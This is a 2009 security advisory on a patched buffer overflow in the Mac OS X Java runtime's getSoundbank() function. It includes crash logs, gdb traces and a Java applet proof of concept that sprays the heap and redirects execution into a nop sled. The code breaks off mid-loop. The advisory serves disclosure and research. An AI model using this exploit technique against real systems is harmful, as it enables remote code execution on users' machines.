[Advisory Summary] ----------------------------------------------------------------------- Advisory Author : Adriel T. Desautels Researcher : Kevin Finisterre Advisory ID : NETRAGARD-20091219 Product Name : Mac OS X Java Runtime Product Version : < Java for Mac OS X 10.6 Update 1 Vendor Name : http://www.apple.com, http://www.sun.com Type of Vulnerability : Buffer Overflow Impact : Arbitrary Code Execution Vendor Notified : Yes Patch Released : http://support.apple.com/kb/HT3969 Discovery Date : 11/13/2009 [POSTING NOTICE] ----------------------------------------------------------------------- If you intend to post this advisory on your web-site you must provide a clickable link back to http://www.netragard.com. The contents of this advisory may be updated without notice. [Product Description] ----------------------------------------------------------------------- Mac OS X is the only major consumer operating system that comes complete with a fully configured and ready-to-use Java runtime and development environment. Professional Java developers are increasingly turning to the feature-rich Mac OS X as the operating system of choice for both Mac-based and cross-platform Java development projects. Mac OS X includes the full version of J2SE 1.5, pre-installed with the Java Development Kit (JDK) and the HotSpot virtual machine (VM), so you don't have to download, install, or configure anything. Deploying Java applications on Mac OS X takes advantage of many built-in features, including 64-bit support, resolution independence, automatic support of multiprocessor hardware, native support for the Java Accessibility API, and the native Aqua look and feel. As a result, Java applications on Mac OS X look and perform like native applications on Mac OS X. [Technical Summary] ----------------------------------------------------------------------- On November 4th, 2009 ZDI-09-076 was released and subsequently credited to 'Anonymous'. Given the historic track record with regards to lagging behind 3rd party "coordinated" disclosures we decided to validate wether or not OSX was vulnerable in its current state. More importantly we wanted to validate that the vulnerable classes were reachable via standard web browser. The ZDI release contained limited information but that didn't prevent us from creating a working Proof of Concept ("PoC") for this issue. As previously mentioned, the prime reason that we decided to look into this vulnerability was because we suspected that it was possible to remotely trigger and exploit the risk via the Safari Web Browser. We were right. The easiest way to validate this was to find an example applet that used the getSoundbank() function and then to modify it. A quick glance at the Sun manual page gave us a hint as to how to use the function. http://java.sun.com/j2se/1.3/docs/api/javax/sound/midi/MidiSystem.html#getSoundbank(java.net.URL) public static Soundbank getSoundbank(URL url) throws InvalidMidiDataException, IOException Constructs a Soundbank by reading it from the specified URL. The URL must point to a valid MIDI soundbank file. Parameters: url - the source of the sound bank data Returns: the sound bank Throws: InvalidMidiDataException - if the URL does not point to valid MIDI soundbank data recognized by the system IOException - if an I/O error occurred when loading the soundbank We used a google query to find an example: http://www.google.com/search?hl=en&source=hp&q=javax.sound.midi+getSoundbank+applet&aq=f&oq=&aqi= Luckily the example was an applet which eliminates the question of accessibility to the vulnerability via applet tag. http://music.columbia.edu/pipermail/jmsl/2004-November/000555.html If you modify the above code example we can trigger the bug and get and some additional information about it. All of the testing below was done with appletviewer and the following html page, coupled with our compiled proof of concept class. $ cat index.html getSoundBank pwn [Technical Details] ----------------------------------------------------------------------- http://www.zerodayinitiative.com/advisories/ZDI-09-076/ tells us there is a 'vulnerability [that] allows remote attackers to execute arbitrary code on vulnerable installations of Sun Microsystems Java.' ZDI also states that 'The specific flaw exists in the parsing of long file:// URL arguments to the getSoundbank() function.' and that 'Exploitation of this vulnerability can lead to system compromise under the credentials of the currently logged in user.' The code shown below in the Proof of Concept section allows us to validate the statements made by ZDI by triggering the bug and subsequently crashing the JVM. When the JVM crashes it leaves a log behind in the /Library/Logs/Java folder that provides useful information. $ ls /Library/Logs/Java/ JavaNativeCrash_pid1815.crash.log One of the important things recorded to the log is the address of the JVM's heap. Since a heap spray is used to place shellcode at a usable address this is quite useful. $ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log Java information: Version: Java HotSpot(TM) Client VM (1.5.0_13-119 mixed mode, sharing) Virtual Machine version: Java HotSpot(TM) Client VM (1.5.0_13-119) for \ macosx-x86, built on Sep 28 2007 23:59:21 by root with gcc 4.0.1 (Apple \ Inc. build 5465) Exception type: Bus Error (0xa) at pc=0x1755c81b Current thread (0x0100e010): JavaThread "thread applet-test.class"\ [_thread_in_native, id=9097216] Stack: [0xb0d97000,0xb0e17000) Java frames: (J=compiled Java code, j=interpreted, Vv=VM code) j com.sun.media.sound.HeadspaceSoundbank.nOpenResource(Ljava/lang/ String;)J+0 j com.sun.media.sound.HeadspaceSoundbank.initialize(Ljava/lang/ String;)V+7 j com.sun.media.sound.HeadspaceSoundbank.(Ljava/net/URL;)V+89 j com.sun.media.sound.HsbParser.getSoundbank(Ljava/net/URL;)Ljavax/ sound/midi/Soundbank;+5 j javax.sound.midi.MidiSystem.getSoundbank(Ljava/net/URL;)Ljavax/ sound/midi/Soundbank;+36 j test.init()V+339 j sun.applet.AppletPanel.run()V+197 j java.lang.Thread.run()V+11 v ~StubRoutines::call_stub Java Threads: ( => current thread ) 0x01011980 JavaThread "Java Sound Event Dispatcher" daemon [_thread_blocked, id=9269760] 0x01011790 JavaThread "Java Sound Event Dispatcher" daemon [_thread_blocked, id=9266176] 0x01011310 JavaThread "AWT-EventQueue-1" [_thread_blocked, id=9249792] 0x01001440 JavaThread "DestroyJavaVM" [_thread_blocked, id=-1333784576] 0x0100e210 JavaThread "AWT-EventQueue-0" [_thread_blocked, id=9107968] =>0x0100e010 JavaThread "thread applet-test.class" [_thread_in_native, id=9097216] 0x0100cb90 JavaThread "Java2D Disposer" daemon [_thread_blocked, id=9035264] 0x0100bda0 JavaThread "AWT-Shutdown" [_thread_blocked, id=8834048] 0x0100b900 JavaThread "AWT-AppKit" daemon [_thread_in_native, id=-1607766176] 0x01009050 JavaThread "Low Memory Detector" daemon [_thread_blocked, id=8411136] 0x01008580 JavaThread "CompilerThread0" daemon [_thread_blocked, id=8506880] 0x01008120 JavaThread "Signal Dispatcher" daemon [_thread_blocked, id=8503296] 0x01007810 JavaThread "Finalizer" daemon [_thread_blocked, id=8483840] 0x01007570 JavaThread "Reference Handler" daemon [_thread_blocked, id=8480256] Other Threads: 0x01006cc0 VMThread [id=8476672] 0x01009c50 WatcherThread [id=8414720] VM state:not at safepoint (normal execution) VM Mutex/Monitor currently owned by a thread: None Heap def new generation total 4544K, used 3238K [0x25580000, 0x25a60000, 0x25a60000) eden space 4096K, 79% used [0x25580000, 0x258a9b30, 0x25980000) from space 448K, 0% used [0x259f0000, 0x259f0000, 0x25a60000) to space 448K, 0% used [0x25980000, 0x25980000, 0x259f0000) tenured generation total 60544K, used 60028K [0x25a60000, 0x29580000, 0x29580000) the space 60544K, 99% used [0x25a60000, 0x294ff048, 0x294ff200, 0x29580000) compacting perm gen total 8192K, used 1093K [0x29580000, 0x29d80000, 0x2d580000) the space 8192K, 13% used [0x29580000, 0x29691698, 0x29691800, 0x29d80000) ro space 8192K, 63% used [0x2d580000, 0x2da96c48, 0x2da96e00, 0x2dd80000) rw space 12288K, 43% used [0x2dd80000, 0x2e2af088, 0x2e2af200, 0x2e980000) Virtual Machine arguments: JVM args: -Dapplication.home=/System/Library/Frameworks/ JavaVM.framework/Versions/1.5.0/Home Java command: sun.applet.Main /Users/hostile/Desktop/index.html launcher type: SUN_STANDARD Note: The heap within appletviewer is located at '0x25580000' When triggered with Safari the Heap location is slightly different $ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log ... Heap def new generation total 6848K, used 5542K [0x1a270000, 0x1a9d0000, 0x1a9d0000) ... In that particular trace the Safari Java heap was located at 0x1a270000. The PoC provided below instructs appletviewer to land in a nopsled. Futher research will yield a functional exploit. In essence this code sprays the heap in order to place attacker controlled code at the proper address range within the heap. With several stack frames under control it is possible to control the flow of execution. Control of an eax address is what leads to final code execution. 0x1891a81b :\ call *0x2a8(%eax) [Proof Of Concept] ----------------------------------------------------------------------- /* We should only need safe shellcode at this point. Invalid memory access of location 00000000 eip=256823b6 Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0x00000000 [Switching to process 561 thread 0x15107] 0x256823b6 in ?? () (gdb) bt #0 0x256823b6 in ?? () #1 0x188fd821 in Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource () #2 0x25582126 in ?? () Previous frame inner to this frame (gdb could not unwind past this frame) (gdb) x/6x 0x256823b6-12 0x256823aa: 0x90909090 0x90909090 0x90909090 0x00333031 0x256823ba: 0x00330032 0x00010033 We only crash because we ran out of code to execute... (gdb) x/i $eip 0x256823b6: xor %esi,(%eax) (gdb) i r $esi $eax esi 0x0 0 eax 0x0 0 notice that frame 1's eip of 0x188fd821 is AFTER the call to eax at 0x1891a81b (gdb) x/10i$eip 0x1891a803 : mov (%edx),%eax 0x1891a805 : mov 0x10(%ebp),%edx 0x1891a808 : mov %edi,0x8(%esp) 0x1891a80c : mov %esi,%edi 0x1891a80e : sar $0x1f,%edi 0x1891a811 : mov %edx,0x4(%esp) 0x1891a815 : mov 0x8(%ebp),%edx 0x1891a818 : mov %edx,(%esp) 0x1891a81b : call *0x2a8(%eax) 0x1891a821 : add $0x450,%esp */ import javax.sound.midi.*; import java.io.*; import java.net.*; import java.awt.Graphics; public class test extends java.applet.Applet { public static Synthesizer synth; Soundbank soundbank; public void init() { String fName = repeat('/',1080); // OSX Leopard - 10.5 Build 9A581 Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13- b05-237) // heap sprayed info starts at 0x25580000+12 but keep in mind we need to be fairly ascii safe. // 0x20 is not usable byte[] frame = { (byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - ebp (byte)0x26, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - eip (byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25 // frame 0 - edx }; String mal = new String(frame); //System.out.println(mal); fName = "file://" + fName + mal; try { synth = MidiSystem.getSynthesizer(); synth.open(); System.out.println("Spray heap\n"); String shellcode = "\u41424344" + repeat('\u9090',1000) + "\u30313233"; // This is just a nop sled with some heading and trailing markers. int mb = 1024; // Sotirov / Dowd foo follows. // http://taossa.com/archive/bh08sotirovdowd.pdf // Limit the shellcode length to 100KB if (shellcode.length() > 100*1024) { throw new RuntimeException(); } // Limit the heap spray size to 1GB, even though in practice the Java // heap for an applet is limited to 100MB if (mb > 1024) { throw new RuntimeException(); } // Array of strings containing shellcode String[] mem = new String[1024]; // A buffer for the nop slide and shellcode StringBuffer buffer = new StringBuffer(1024*1024/2); // Each string takes up exactly 1MB of space // // header nop slide shellcode NULL // 12 bytes 1MB-12-2-x x bytes 2 bytes // Build padding up to the first exception. We will need to set the eax address after this padding // First usable addresses begin at 0x25580000+0x2121. Unfortunately 0x20 in our addresses caused issues. // 0x2121 is 8481 in decimal, we subtract a few bytes for munging. for (int i = 1; i < (8481/2)-4; i++) { buffer.append('\u4848'); } // (gdb) x/10a 0x25582122-4 // 0x2558211e: 0x48484848 0x20202020 0x20202020 0x20202020 // 0x2558212e: 0x20202020 0x20202020 0x20202020 0x20202020 // 0x2558213e: 0x20202020 0x20202020 // Set the call address // 0x188fd81b : call *0x2a8(%eax) buffer.append('\u2122'); buffer.append('\u2558'); // 0x2a8 is 680 in decimal, once again we need filler for making this a usable address location. for (int i = 1; i < (680/2)-1; i++) { buffer.append('\u4848'); } // where do we wanna go? 0x25582525 is right in the middle of the following nop sled // (gdb) x/5x 0x25582525 // 0x25582525: 0x90909090 0x90909090 0x90909090 0x90909090 // 0x25582535: 0x90909090 buffer.append('\u2525'); buffer.append('\u2558'); // We are gonna place the shellcode after this so simply fill in remaining space with nops! for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++) { buffer.append('\u9090'); } // Append the shellcode buffer.append(shellcode); // Run the garbage collector Runtime.getRuntime().gc(); // Fill the heap with copies of the string try { for (int i=0; i